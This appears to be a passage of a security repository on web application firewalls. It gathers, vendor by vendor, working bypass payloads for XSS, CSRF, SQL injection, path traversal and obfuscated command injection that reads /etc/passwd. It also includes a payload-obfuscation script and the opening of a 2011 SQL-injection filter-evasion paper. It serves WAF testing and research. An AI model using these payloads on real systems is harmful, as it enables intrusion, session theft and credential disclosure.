%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
```
- [XSS Bypass](https://twitter.com/h1_kenan/status/1185826172308983808) by [@h1_kenan](https://twitter.com/h1_kenan)
```
asd"on+<>+onpointerenter%3d"x%3dconfirm,x(cookie)
```
- [HTML Injection](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs)
```
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
```
- [XSS Bypass](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c) by [@Jonathan Bouman](https://twitter.com/jonathanbouman)
```
<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
```
- [XSS Bypass](https://twitter.com/XssPayloads/status/1008573444840198144?s=20) by [@zseano](https://twitter.com/zseano)
```
?"></script><base%20c%3D=href%3Dhttps:\mysite>
```
- XSS Bypass by [@0xInfection](https://twitter.com/0xInfection)
```
<abc/onmouseenter=confirm%60%60>
```
- [XSS Bypass](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs)
```
%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
```
- [XSS Bypass](https://twitter.com/fransrosen/status/1126963506723590148) by [@Frans Rosén](https://twitter.com/fransrosen)
```
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>
```
- [XSS Bypass](https://twitter.com/security_prince/status/1127804521315426304) by [@Ishaq Mohammed](https://twitter.com/security_prince)
```
<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>
```
### Profense
- [GET Type CSRF Attack](https://www.exploit-db.com/exploits/7919) by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2)
Turn off Proface Machine
```
<img src=https://host:2000/ajax.html?action=shutdown>
```
Add a proxy
```
<img src=https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save>
```
- XSS Bypass by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2)
```
https://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>"<script>alert(document.cookie)</script>
```
- [XSS Bypass](https://www.securityfocus.com/bid/35053/info) by [@EnableSecurity](https://enablesecurity.com) (>= v2.4)
```
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
```
### QuickDefense
- XSS Bypass by [@WAFNinja](https://waf.ninja/)
```
?<input type="search" onsearch="aler\u0074(1)">
<details ontoggle=alert(1)>
```
### Sucuri
- [XSS Bypass (POST Only)](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic)
```
<a href=javascript:confirm(1)>
```
- [Smuggling RCE Payloads](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle)
```
/???/??t+/???/??ss??
```
- [Obfuscating RCE Payloads](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) by [@theMiddle](https://twitter.com/Menin_TheMiddle)
```
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
```
- [XSS Bypass](https://twitter.com/return_0x/status/1148605627180208129) by [@Luka](https://twitter.com/return_0x)
```
"><input/onauxclick="[1].map(prompt)">
```
- [XSS Bypass](https://twitter.com/brutelogic/status/1148610104738099201) by [@Brute Logic](https://twitter.com/brutelogic)
```
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
```
### StackPath
- [XSS Bypass](https://twitter.com/0xInfection/status/1298642820664823808) by [@0xInfection](https://twitter.com/0xInfection)
```
<object/data=javascript:alert()>
<a/href="javascript%0A%0D:alert()>clickme
```
### URLScan
- [Directory Traversal](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L557) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275) (<= v3.1) (Only on ASP.NET)
```
http://host.com/test.asp?file=.%./bla.txt
```
### WebARX
- Cross Site Scripting by [@0xInfection](https://twitter.com/0xinfection)
```
<a69/onauxclick=open()>rightclickhere
```
- [Bypassing All Protections Using A Whitelist String](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/) by [@Osanda Malith](https://twitter.com/OsandaMalith)
- XSS PoC
```
http://host.com/?vulnparam=<script>alert()</script>&ithemes-sync-request
```
- LFI PoC
```
http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request
```
- SQLi PoC
```
http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request
```
### WebKnight
- Cross Site Scripting by [@WAFNinja](https://waf.ninja/)
```
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<marquee/onstart=confirm(2)>
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<img src=x onwheel=prompt(1)>
```
- SQLi by [@WAFNinja](https://waf.ninja)
```
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
```
- XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan) (v4.1)
```
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
```
- [SQLi Bypass](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L562) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275)
```
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
```
### Wordfence
- XSS Bypass by [@brute Logic](https://twitter.com/brutelogic)
```
<a href=javascript:alert(1)>
<a href=javascript:alert(1)>
```
- XSS Bypass by [@0xInfection](https://twitter.com/0xInfection)
```
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/>click
```
- [HTML Injection](https://www.securityfocus.com/bid/69815/info) by [@Voxel](https://www.exploit-db.com/?author=8505)
```
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
```
- [XSS Exploit](https://www.securityfocus.com/bid/56159/info) by [@MustLive](https://www.exploit-db.com/?author=1293) (>= v3.3.5)
```
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
```
- [Other XSS Bypasses](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md)
```
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
```
### Apache Generic
- Writing method type in lowercase by [@i_bo0om](http://twitter.com/i_bo0om)
```
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
### IIS Generic
- Tabs before method by [@i_bo0om](http://twitter.com/i_bo0om)
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
## Awesome Tools
### Fingerprinting:
- [WAFW00F](https://github.com/enablesecurity/wafw00f) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity](https://github.com/enablesecurity).
- [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm).
### Testing:
- [GoTestWAF](https://github.com/wallarm/gotestwaf) - A tool to test a WAF's detection logic and bypasses from [@wallarm](https://github.com/wallarm).
- [Lightbulb Framework](https://github.com/lightbulb-framework/lightbulb-framework) - A WAF testing suite written in Python.
- [WAFBench](https://github.com/microsoft/wafbench) - A WAF performance testing suite by [Microsoft](https://github.com/microsoft).
- [WAF Testing Framework](https://www.imperva.com/lg/lgw_trial.asp?pid=483) - A WAF testing tool by [Imperva](https://imperva.com).
- [Framework for Testing WAFs (FTW)](https://github.com/coreruleset/ftw) - A framework by the [OWASP CRS team](https://coreruleset.org/) that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
### Evasion:
- [WAFNinja](https://github.com/khalilbijjou/wafninja) - A smart tool which fuzzes and can suggest bypasses for a given WAF by [@khalilbijjou](https://github.com/khalilbijjou/).
- [WAFTester](https://github.com/Raz0r/waftester) - Another tool which can obfuscate payloads to bypass WAFs by [@Raz0r](https://github.com/Raz0r/).
- [libinjection-fuzzer](https://github.com/migolovanov/libinjection-fuzzer) - A fuzzer intended for finding `libinjection` bypasses but can be probably used universally.
- [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) - A tool which searches for old DNS records for finding actual site behind the WAF.
- [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
- [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap) - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
- [Bypass WAF BurpSuite Plugin](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c) - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
- [enumXFF](https://github.com/infosec-au/enumXFF) - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
- [WAF Bypass Tool](https://github.com/nemesida-waf/waf-bypass) - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads.
### Management:
- [AWS Firewall Factory](https://github.com/globaldatanet/aws-firewall-factory) - Deploy, update, and stage your WAFs while managing them centrally via FMS.
## Blogs and Writeups
> Many of the content mentioned above have been taken from some of the following excellent writeups.
- [Web Application Firewall (WAF) Evasion Techniques #1](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) - By [@Secjuice](https://www.secjuice.com).
- [Web Application Firewall (WAF) Evasion Techniques #2](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - By [@Secjuice](https://www.secjuice.com).
- [Web Application Firewall (WAF) Evasion Techniques #3](https://www.secjuice.com/web-application-firewall-waf-evasion/) - By [@Secjuice](https://www.secjuice.com).
- [How To Exploit PHP Remotely To Bypass Filters & WAF Rules](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)- By [@Secjuice](https://secjuice.com)
- [ModSecurity SQL Injection Challenge: Lessons Learned](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) - By [@SpiderLabs](https://trustwave.com).
- [XXE that can Bypass WAF](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0) - By [@WallArm](https://labs.wallarm.com).
- [SQL Injection Bypassing WAF](https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF) - By [@OWASP](https://owasp.com).
- [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/) - By [@SunnyHoi](https://twitter.com/sunnyhoi).
- [Bypassing Web-Application Firewalls by abusing SSL/TLS](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html) - By [@0x09AL](https://twitter.com/0x09al).
- [Request Encoding to Bypass WAFs](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/) - By [@Soroush Dalili](https://twitter.com/irsdl)
## Video Presentations
- [WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior](https://www.youtube.com/watch?v=tSf_IXfuzXk) from [@OWASP](https://owasp.org).
- [Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls](https://www.youtube.com/watch?v=PVVG4rCFZGU) from [BlackHat USA 12](https://blackhat.com/html/bh-us-12).
- [Web Application Firewall - Analysis of Detection Logic](https://www.youtube.com/watch?v=dMFJLicdaC0) from [BlackHat](https://blackhat.com).
- [Bypassing Browser Security Policies for Fun & Profit](https://www.youtube.com/watch?v=P5R4KeCzO-Q) from [BlackHat](https://blackhat.com).
- [Web Application Firewall Bypassing](https://www.youtube.com/watch?v=SD7ForrwUMY) from [Positive Technologies](https://ptsecurity.com).
- [Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks](https://www.usenix.org/conference/woot12/workshop-program/presentation/schmitt) from [@UseNix](https://www.usenix.com).
- [Evading Deep Inspection Systems for Fun and Shell](https://www.youtube.com/watch?v=BkmPZhgLmRo) from [BlackHat US 13](https://blackhat.com/html/bh-us-13).
- [Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload)](https://www.youtube.com/watch?v=lWoxAjvgiHs) from [Fools of Security](https://www.youtube.com/channel/UCEBHO0kD1WFvIhf9wBCU-VQ).
- [WAFs FTW! A modern devops approach to security testing your WAF](https://www.youtube.com/watch?v=05Uy0R7UdFw) from [AppSec USA 17](https://www.youtube.com/user/OWASPGLOBAL).
- [Web Application Firewall Bypassing WorkShop](https://www.youtube.com/watch?v=zfBT7Kc57xs) from [OWASP](https://owasp.com).
- [Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch](https://www.youtube.com/watch?v=dWLpw-7_pa8) from [Rafay Bloch](http://rafaybaloch.com).
- [WTF - WAF Testing Framework](https://www.youtube.com/watch?v=ixb-L5JWJgI) from [AppSecUSA 13](https://owasp.org).
- [The Death of a Web App Firewall](https://www.youtube.com/watch?v=mB_xGSNm8Z0) from [Brian McHenry](https://www.youtube.com/channel/UCxzs-N2sHnXFwi0XjDIMTPg).
- [Adventures with the WAF](https://www.youtube.com/watch?v=rdwB_p0KZXM) from [BSides Manchester](https://www.youtube.com/channel/UC1mLiimOTqZFK98VwM8Ke4w).
- [Bypassing Intrusion Detection Systems](https://www.youtube.com/watch?v=cJ3LhQXzrXw) from [BlackHat](https://blackhat.com).
- [Building Your Own WAF as a Service and Forgetting about False Positives](https://www.youtube.com/watch?v=dgqUcHprolc) from [Auscert](https://conference.auscert.org.au).
## Presentations & Research Papers
### Research Papers:
- [Protocol Level WAF Evasion](papers/Qualys%20Guide%20-%20Protocol-Level%20WAF%20Evasion.pdf) - A protocol level WAF evasion techniques and analysis by [Qualys](https://www.qualys.com).
- [Neural Network based WAF for SQLi](papers/Artificial%20Neural%20Network%20based%20WAF%20for%20SQL%20Injection.pdf) - A paper about building a neural network based WAF for detecting SQLi attacks.
- [Bypassing Web Application Firewalls with HTTP Parameter Pollution](papers/Bypassing%20Web%20Application%20Firewalls%20with%20HTTP%20Parameter%20Pollution.pdf) - A research paper from [Exploit DB](https://exploit-db.com) about effectively bypassing WAFs via HTTP Parameter Pollution.
- [Poking A Hole in the Firewall](papers/Poking%20A%20Hole%20In%20The%20Firewall.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about modern firewall analysis.
- [Modern WAF Fingerprinting and XSS Filter Bypass](papers/Modern%20WAF%20Fingerprinting%20and%20XSS%20Filter%20Bypass.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about WAF fingerprinting and bypassing XSS filters.
- [WAF Evasion Testing](papers/SANS%20Guide%20-%20WAF%20Evasion%20Testing.pdf) - A WAF evasion testing guide from [SANS](https://www.sans.org).
- [Side Channel Attacks for Fingerprinting WAF Filter Rules](papers/Side%20Channel%20(Timing)%20Attacks%20for%20Fingerprinting%20WAF%20Rules.pdf) - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12).
- [WASC WAF Evaluation Criteria](papers/WASC%20WAF%20Evaluation%20Criteria.pdf) - A guide for WAF Evaluation from [Web Application Security Consortium](http://www.webappsec.org).
- [WAF Evaluation and Analysis](papers/Web%20Application%20Firewalls%20-%20Evaluation%20and%20Analysis.pdf) - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from [University of Amsterdam](http://www.uva.nl).
- [Bypassing all WAF XSS Filters](papers/Evading%20All%20Web-Application%20Firewalls%20XSS%20Filters.pdf) - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
- [Beyond SQLi - Obfuscate and Bypass WAFs](papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt) - A research paper from [Exploit Database](https://exploit-db.com) about obfuscating SQL injection queries to effectively bypass WAFs.
- [Bypassing WAF XSS Detection Mechanisms](papers/Bypassing%20WAF%20XSS%20Detection%20Mechanisms.pdf) - A research paper about bypassing XSS detection mechanisms in WAFs.
### Presentations:
- [Methods to Bypass a Web Application Firewall](presentrations/Methods%20To%20Bypass%20A%20Web%20Application%20Firewall.pdf) - A presentation from [PT Security](https://www.ptsecurity.com) about bypassing WAF filters and evasion.
- [Web Application Firewall Bypassing (How to Defeat the Blue Team)](presentation/Web%20Application%20Firewall%20Bypassing%20(How%20to%20Defeat%20the%20Blue%20Team).pdf) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by [@OWASP](https://owasp.org).
- [WAF Profiling & Evasion Techniques](presentations/OWASP%20WAF%20Profiling%20&%20Evasion.pdf) - A WAF testing and evasion guide from [OWASP](https://www.owasp.org).
- [Protocol Level WAF Evasion Techniques](presentations/BlackHat%20US%2012%20-%20Protocol%20Level%20WAF%20Evasion%20(Slides).pdf) - A presentation at about efficiently evading WAFs at protocol level from [BlackHat US 12](https://www.blackhat.com/html/bh-us-12/).
- [Analysing Attacking Detection Logic Mechanisms](presentations/BlackHat%20US%2016%20-%20Analysis%20of%20Attack%20Detection%20Logic.pdf) - A presentation about WAF logic applied to detecting attacks from [BlackHat US 16](https://www.blackhat.com/html/bh-us-16/).
- [WAF Bypasses and PHP Exploits](presentations/WAF%20Bypasses%20and%20PHP%20Exploits%20(Slides).pdf) - A presentation about evading WAFs and developing related PHP exploits.
- [Side Channel Attacks for Fingerprinting WAF Filter Rules](presentations/Side%20Channel%20Attacks%20for%20Fingerprinting%20WAF%20Filter%20Rules.pdf) - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12).
- [Our Favorite XSS Filters/IDS and how to Attack Them](presentations/Our%20Favourite%20XSS%20WAF%20Filters%20And%20How%20To%20Bypass%20Them.pdf) - A presentation about how to evade XSS filters set by WAF rules from [BlackHat USA 09](https://www.blackhat.com/html/bh-us-09/).
- [Playing Around with WAFs](presentations/Playing%20Around%20with%20WAFs.pdf) - A small presentation about WAF profiling and playing around with them from [Defcon 16](http://www.defcon.org/html/defcon-16/dc-16-post.html).
- [A Forgotten HTTP Invisibility Cloak](presentation/A%20Forgotten%20HTTP%20Invisibility%20Cloak.pdf) - A presentation about techniques that can be used to bypass common WAFs from [BSides Manchester](https://www.bsidesmcr.org.uk/).
- [Building Your Own WAF as a Service and Forgetting about False Positives](presentations/Building%20Your%20Own%20WAF%20as%20a%20Service%20and%20Forgetting%20about%20False%20Positives.pdf) - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency [Auscert2019](https://conference.auscert.org.au/).
## Credits & License:
Initial fingerprint compilation and bypasses were put together by [Pinaki](https://twitter.com/0xInfection) [(0xInfection)](https://github.com/0xinfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the [Apache 2.0 License](LICENSE).
================================================
FILE: others/README.md
================================================
## [`obfu.py`](https://github.com/0xinfection/awesome-waf/blob/master/others/obfu.py)
> A small script to encode and obfuscate your payloads easily to your desired encodings.
### Usage:
```
$ python obfu.py -h
OBFUSCATOR
usage: python3 obfu.py [-h] [-s STR] [-e ENC] [-ueo] [-udi]
Required Arguments:
-s STR, --str STR String to obfuscate
-e ENC, --enc ENC Encoding type. eg: ibm037, utf16, etc
Optional Arguments:
-ueo URL Encode Output
-udi URL Decode Input
```
### Example Usage:
```
$ python3 obfu.py -s 'param=<svg/onload=prompt()//' -e ibm037 -ueo
```
```
OBFUSCATOR
Input: param=<svg/onload=prompt()//
Output: %97%81%99%81%94~L%A2%A5%87a%96%95%93%96%81%84~%97%99%96%94%97%A3M%5Daa
```
### Sidenote:
This script can encode in all types of formats which are supported by the Python Engine.
================================================
FILE: others/obfu.py
================================================
# Modified from @irsdl's script
import urllib.parse, sys
from argparse import ArgumentParser
lackofart = '''
OBFUSCATOR
'''
def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
result = ""
equalSign = "="
ampersand = "&"
if '=' and '&' in params:
if encodeEqualSign:
equalSign = equalSign.encode(charset)
if encodeAmpersand:
ampersand = ampersand.encode(charset)
params_list = params.split("&")
for param_pair in params_list:
param, value = param_pair.split("=")
if urlDecodeInput:
param = urllib.parse.unquote(param)
value = urllib.parse.unquote(value)
param = param.encode(charset)
value = value.encode(charset)
if urlEncodeOutput:
param = urllib.parse.quote_plus(param)
value = urllib.parse.quote_plus(value)
if result:
result += ampersand
result += param + equalSign + value
else:
if urlDecodeInput:
params = urllib.parse.unquote(params)
result = params.encode(charset)
if urlEncodeOutput:
result = urllib.parse.quote_plus(result)
return result
def main():
print(lackofart)
parser = ArgumentParser('python3 obfu.py')
parser._action_groups.pop()
# A simple hack to have required arguments and optional arguments separately
required = parser.add_argument_group('Required Arguments')
optional = parser.add_argument_group('Optional Arguments')
# Required Options
required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')
# Optional Arguments (main stuff and necessary)
optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
args = parser.parse_args()
if not len(sys.argv) > 1:
parser.print_help()
quit()
print('Input: %s' % (args.str))
print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))
if __name__ == '__main__':
main()
================================================
FILE: papers/Beyond SQLi - Obfuscate and Bypass WAFs.txt
================================================
|=--------------------------------------------------------------------=|
|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|
|=-------------------------=[ 6 October 2011 ]=-----------------------=|
|=----------------------=[ By CWH Underground ]=--------------------=|
|=--------------------------------------------------------------------=|
######
Info
######
Title : Beyond SQLi: Obfuscate and Bypass
Author : "ZeQ3uL" (Prathan Phongthiproek) and "Suphot Boonchamnan"
Team : CWH Underground [http://www.exploit-db.com/author/?a=1275]
Date : 2011-10-06
##########
Contents
##########
[0x00] - Introduction
[0x01] - Filter Evasion (Mysql)
[0x01a] - Bypass Functions and Keywords Filtering
[0x01b] - Bypass Regular Expression Filtering
[0x02] - Normally Bypassing Techniques
[0x03] - Advanced Bypassing Techniques
[0x03a] - HTTP Parameter Pollution: Split and Join
[0x03b] - HTTP Parameter Contamination
[0x04] - How to protect your website
[0x05] - Conclusion
[0x06] - References
[0x07] - Greetz To
#######################
[0x00] - Introduction
#######################
Welcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on.
This papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection.
There are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system
in the real world even though you spend more than 300,000 USD on a WAF.
This paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.
Section 0x01, we give a details of how to bypass filter including basic, function and keyword.
Section 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.
Section 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, "HTTP Parameter Contamination".
and "HTTP Pollution: Split and Join". Section 0x04, we guide to protect your own website on the right solution.
The last, section 0x05, It's conclusion from Section 0x01-0x04.
#################################
[0x01] - Filter Evasion (Mysql)
#################################
This section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions.
This means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.
+++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] - Bypass Functions and Keywords Filtering
+++++++++++++++++++++++++++++++++++++++++++++++++++
Functions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful.
However, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users
when the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.
Keyword filer: and, or
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or)/i', $id)
THe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
----------------------------------------------------------------------
Keyword filer: and, or, union
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union)/i', $id)
The keyword union is generally used to generate an malicious statement in order to select extra data from the database.
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement
e.g. use substring function to get each character of table names.
----------------------------------------------------------------------
Keyword filer: and, or, union, where
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, '
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
----------------------------------------------------------------------
Keyword filer: and, or, union, where, limit, group by, select, ', hex, substr, white space
----------------------------------------------------------------------
PHP filter code: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
Bypassed injection: 1%0b||%0blpad(user,7,1)
----------------------------------------------------------------------
From the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions.
Furthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.
Creating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.
+++++++++++++++++++++++++++++++++++++++++++++++
[0x01b] - Bypass Regular Expression Filtering
+++++++++++++++++++++++++++++++++++++++++++++++
Regular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server.
However, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.
PHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols.
